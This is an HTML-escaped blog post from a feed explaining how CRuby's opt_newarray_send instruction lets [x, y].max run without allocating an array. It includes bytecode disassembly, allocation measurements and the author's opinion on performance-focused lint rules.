&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;foo&lt;/span&gt;(x, y)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;x, y&lt;span style=&#34;color:#f92672&#34;&gt;].&lt;/span&gt;max
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;They were concerned this is wasteful as it has an Array literal, so it will be allocating an array every time!&lt;/p&gt;
&lt;p&gt;I think this is a really great question, and if you read my earlier allocation measurement examples, I think it&amp;rsquo;s a very reasonable conclusion.
However, it&amp;rsquo;s actually not the case.
This code in particular will &lt;em&gt;not&lt;/em&gt; allocate an array, and I thought we&amp;rsquo;d look in to how that works.&lt;/p&gt;
&lt;p&gt;The compiler in Ruby is able to tell a few important things about this code.
First, we&amp;rsquo;re calling a method on an array &lt;em&gt;literal&lt;/em&gt; which means that we&amp;rsquo;re guaranteed that the &lt;code&gt;max&lt;/code&gt; method will be sent to an array object.
Second, we know statically that we&amp;rsquo;re calling the &lt;code&gt;max&lt;/code&gt; method.
Third, the &lt;code&gt;max&lt;/code&gt; method that is implemented in core Ruby will not mutate its receiver, and it returns some value (an integer) that &lt;em&gt;isn&amp;rsquo;t&lt;/em&gt; the array literal.&lt;/p&gt;
&lt;p&gt;Since the compiler knows that the array literal is ephemeral, it allocates the array on the stack, does the &lt;code&gt;max&lt;/code&gt; calculation, then throws away the array, never asking the GC for a new object.&lt;/p&gt;
&lt;p&gt;To get a more concrete picture, lets look at the instruction sequences for the above code:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;foo&lt;/span&gt;(x, y)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;x, y&lt;span style=&#34;color:#f92672&#34;&gt;].&lt;/span&gt;max
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;insn &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;RubyVM&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;InstructionSequence&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;of(method(&lt;span style=&#34;color:#e6db74&#34;&gt;:foo&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;puts insn&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;disasm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;== disasm: #&amp;lt;ISeq:foo@x.rb:1 (1,0)-(1,30)&amp;gt;
local table (size: 2, argc: 2 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
[ 2] x@0&amp;lt;Arg&amp;gt;   [ 1] y@1&amp;lt;Arg&amp;gt;
0000 getlocal_WC_0                          x@0                       (   1)[LiCa]
0002 getlocal_WC_0                          y@1
0004 opt_newarray_send                      2, 1
0007 leave                                  [Re]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first two instructions fetch the locals &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt;, and push them on the stack.
Next we have a special instruction &lt;code&gt;opt_newarray_send&lt;/code&gt;.
This instruction takes two parameters, &lt;code&gt;2, 1&lt;/code&gt;.
It&amp;rsquo;s a bit cryptic, but the &lt;code&gt;2&lt;/code&gt; means that this instruction is going to operate on two stack elements.
The &lt;code&gt;1&lt;/code&gt; is an enum and means &amp;ldquo;we want to call the &lt;code&gt;max&lt;/code&gt; method&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;opt_newarray_send&lt;/code&gt; instruction will first check to see if &lt;code&gt;Array#max&lt;/code&gt; has been monkey patched.
If it has been monkey patched, then the instruction will allocate a regular array and call the monkey patched method.
If it &lt;em&gt;hasn&amp;rsquo;t&lt;/em&gt; been monkey patched, then it calls a &amp;ldquo;max&amp;rdquo; function which uses Ruby&amp;rsquo;s stack as an array buffer.&lt;/p&gt;
&lt;p&gt;Here is what the stack looks like before executing &lt;code&gt;opt_newarray_send&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;+----+-------------+-------------+
|    | Stack Index | Stack Value |
+----+-------------+-------------+
|    | -2          | x           |
|    | -1          | y           |
| SP | 0           | Undef       |
+----+-------------+-------------+
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;opt_newarray_send&lt;/code&gt; instruction was passed the value 2, so it knows to start the array at &lt;em&gt;negative&lt;/em&gt; 2 relative to the stack pointer (SP).
Since the stack is just an array, it calls the same function that the &lt;code&gt;max&lt;/code&gt; function would normally call, popping 2 values from the stack, then pushing the return value of the max function.&lt;/p&gt;
&lt;p&gt;In this way we can calculate the max value without allocating the intermediate array.&lt;/p&gt;
&lt;p&gt;If we use our allocations function, we can confirm that the &lt;code&gt;foo&lt;/code&gt; method indeed does not allocate anything:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;foo&lt;/span&gt;(x, y)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;x, y&lt;span style=&#34;color:#f92672&#34;&gt;].&lt;/span&gt;max
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allocations { foo(&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;) } &lt;span style=&#34;color:#75715e&#34;&gt;# heat inline caches&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { foo(&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;) } &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;aarons-opinion-corner&#34;&gt;Aaron&amp;rsquo;s Opinion Corner&lt;/h2&gt;
&lt;p&gt;I don&amp;rsquo;t really know RuboCop very well, but I think that in cases like this it would be really helpful if the linter were to tell you &lt;em&gt;why&lt;/em&gt; a particular rule is a rule.
Personally, I dislike following rules unless I understand the reason behind them.
Even if the reasoning is simply &amp;ldquo;this is just how our team styles our code&amp;rdquo;.
If such a feature is already available in RuboCop, then please feel free to link to this blog post for this particular rule.&lt;/p&gt;
&lt;p&gt;I can only assume the rule that enforced this style was &amp;ldquo;performance&amp;rdquo; related.
I&amp;rsquo;m not a huge fan of linting, but I&amp;rsquo;m even less of a fan when it comes to rules around &amp;ldquo;performance&amp;rdquo;.
If idiomatic Ruby is not performant, then I think there can be a strong case to be made that the CRuby team (which I am a part of) should make that code performant.
If the CRuby team &lt;em&gt;does&lt;/em&gt; make the code performant, then there is no need for the performance rule because most people write idiomatic Ruby code (by definition).&lt;/p&gt;
&lt;p&gt;Of course there are cases where you may need to write non-idiomatic Ruby for performance reasons, but hopefully those cases are few and far between.
Should the time arrive when you need to write odd code for performance reasons, it will require knowledge, experience, and nuance that neither a linter nor an AI can provide.
Fortunately, this is a case where idiomatic Ruby is also &amp;ldquo;the fast way to do things&amp;rdquo;, so I definitely recommend people use the &lt;code&gt;[x, y].max&lt;/code&gt; pattern.&lt;/p&gt;
&lt;h2 id=&#34;more-stuff&#34;&gt;More Stuff&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Array#max&lt;/code&gt; isn&amp;rsquo;t the only method that uses this trick.
It works with &lt;code&gt;Array#min&lt;/code&gt;, &lt;code&gt;Array#pack&lt;/code&gt; and &lt;code&gt;Array#hash&lt;/code&gt;.
If you need to implement a custom &lt;code&gt;hash&lt;/code&gt; method on an object, then I highly recommend doing something like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;hash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;@ivar1, @ivar2, &lt;span style=&#34;color:#f92672&#34;&gt;...].&lt;/span&gt;hash
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, there are cases where CRuby &lt;em&gt;won&amp;rsquo;t&lt;/em&gt; apply this trick.
Lets look at the instructions for the following method:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;foo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;].&lt;/span&gt;max
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;insn &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;RubyVM&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;InstructionSequence&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;of(method(&lt;span style=&#34;color:#e6db74&#34;&gt;:foo&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;puts insn&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;disasm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;== disasm: #&amp;lt;ISeq:foo@x.rb:1 (1,0)-(3,3)&amp;gt;
0000 duparray                               [3, 4]                    (   2)[LiCa]
0002 opt_send_without_block                 &amp;lt;calldata!mid:max, argc:0, ARGS_SIMPLE&amp;gt;
0004 leave                                                            (   3)[Re]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you read these instructions carefully, you&amp;rsquo;ll see it has a &lt;code&gt;duparray&lt;/code&gt; instruction.
This instruction &lt;strong&gt;allocates an array&lt;/strong&gt;, and then we call the &lt;code&gt;max&lt;/code&gt; method on the array.&lt;/p&gt;
&lt;p&gt;When all of the elements of the array are static, CRuby applies an optimization to allocate the array once, embed it in the instructions, and then do a &lt;code&gt;dup&lt;/code&gt; on the array.
Copying an existing array is much faster than allocating a new one.
Unfortunately, this optimization is applied &lt;em&gt;before&lt;/em&gt; the &amp;ldquo;max&amp;rdquo; method optimization, so it doesn&amp;rsquo;t apply both.&lt;/p&gt;
&lt;p&gt;For those of you at home saying &amp;ldquo;the compiler could calculate the max of &lt;code&gt;[3, 4]&lt;/code&gt; and eliminate the array all together!&amp;rdquo; just remember that someone could monkey patch &lt;code&gt;Array#max&lt;/code&gt; and we&amp;rsquo;d need to respect it.  Argh!!
Fixing this particular case is not worth the code complexity, in my opinion.
We all know that 4 is greater than 3, so we could &amp;ldquo;manually inline&amp;rdquo; this case and just write &lt;code&gt;4&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Anyway, all this to say is that these optimizations are context dependent.
Attempting to &amp;ldquo;prescribe&amp;rdquo; more optimal code seems like it could become a hairy situation, especially since the linter can&amp;rsquo;t know what the Ruby compiler will do.&lt;/p&gt;
&lt;p&gt;I do like the idea of language servers possible suggesting &lt;em&gt;possibly&lt;/em&gt; faster code, but only as a teaching opportunity for the developer.
The real goal should be to help build understanding so that this type of linting becomes unnecessary.&lt;/p&gt;
&lt;p&gt;Anyway, I had a really great time at RailsWorld.
I am very happy I got this question, and I hope that this post helps someone!&lt;/p&gt;
</content>
  </entry>

  
</feed>
